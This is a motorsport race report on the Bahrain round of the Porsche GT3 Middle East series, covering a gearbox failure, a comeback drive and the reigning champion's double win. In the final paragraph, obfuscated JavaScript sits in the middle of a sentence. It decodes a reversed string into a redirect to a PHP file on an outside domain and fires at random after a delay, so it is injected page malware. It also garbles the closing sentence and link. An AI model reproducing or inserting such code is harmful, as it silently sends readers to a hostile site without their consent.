Just two laps later though the Al Nabooda #3 entry suddenly plummeted from first to sixth, the GT3 car appearing on pitroad shortly afterwards. Mechanics jumped to his assistance, but the door was already open. Gearbox issues had robbed a clearly disappointed Schmid of victory with just a handful of laps remaining.
Things seemed to be going better for Schmid as the second race hit its eighth lap. Although unable to wrench the lead away from ATF, the Austrian was still well in place to throw a move should the opportunity arise. But a spin on the seventh tour left him a sitting duck as five cars filed past. Down to sixth and now over ten seconds behind ATF, Schmid had a lot of work to do.
Within a few laps the Al Nabooda car was right amongst the Silver Class leaders, but had soon scythed his way past Raed Raffi. Ashkanani and Al Thani were similarly dispatched shortly afterwards, and soon only the other Al Nabooda car of Al Azhari was standing between Schmid and second place.
ATF was long gone, more than 10s up the road and a shoe in for victory if he kept his lines clean. Al Azhari meanwhile had seemingly run out of grip, and had been battling hard to keep the baying Silver Class chargers behind him. He proved little match for his hard charging teammate, who nipped past with just two laps remaining.
His momentum knocked, Al Azhari was not expecting a pass from Al Thani on the final lap, a move the Seashore-sponsored GT3 machine managed to stick.
Up front, there was little to stop ATF cruising home to his second victory of the day. A difficult qualifying session had left the reigning Champion with work to do, but the objective had always been on racking up the points, and vaulting himself to the top of the standings. Mission accomplished.
Like I said, with GT3 ace Al Azhani yet to win but certain to do so in the near future, with Al Thani and Ashkanani showing the speed necessary to mix it with the boys at the front, and with mechanical issue likely to strike at any moment, picking a Champion from the bunch may not be quite as easy as $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/porsche-gt3-middle-east-round-2-bahrain-two-for-two/” target=”_blank”>Bahrain suggested.
